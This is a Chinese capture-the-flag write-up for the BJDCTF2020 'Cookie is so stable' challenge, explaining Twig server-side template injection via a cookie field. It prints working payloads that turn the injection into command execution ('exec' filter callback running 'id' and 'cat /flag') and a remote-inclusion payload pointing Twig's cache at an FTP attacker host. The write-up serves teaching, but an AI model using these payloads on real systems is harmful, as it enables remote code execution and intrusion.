[BJDCTF2020]Cookie is so stable

老题目很好用来打基础
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/
先上一个链接看,学习ssti的,这题主要是他叫你看cookie,加上flag.php页面的登录注册,就是要我们不断去抓包,找到那个地方的注入点
image
这个就是不断抓包测出来的,最后在logout.php里面抓包找到的一个user,我们进行ssti注入的一个尝试{{7*7}}这个是在php里面嘛,我们就是想办法去判断是Twig还是Jinja2。上面的就是一个判断方法
如果不管原理
强记:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
flag就出了。

但是看原理的话,这里来看看Twig的源码

首先Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了。这就导致了和普通的python的ssti一直往上调用父类不同。
但是Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env

image

env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置
因此,明显的攻击是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞:
{{_self.env.setCache("ftp://attacker.net:2121")}} {{_self.env.loadTemplate("backdoor")}}

但是新的问题出现了,allow_url_include 一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()

这个函数中调用了一个 call_user_function 方法

点击查看代码

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//注意这行
            return $filter;
        }
    }
    return false;
}

public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
} 

我们只要把exec() 作为回调函数传进去就能实现命令执行了

payload:
{{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}

posted @ 2023-04-02 02:31  Dr0se  阅读(6)  评论(0)    收藏  举报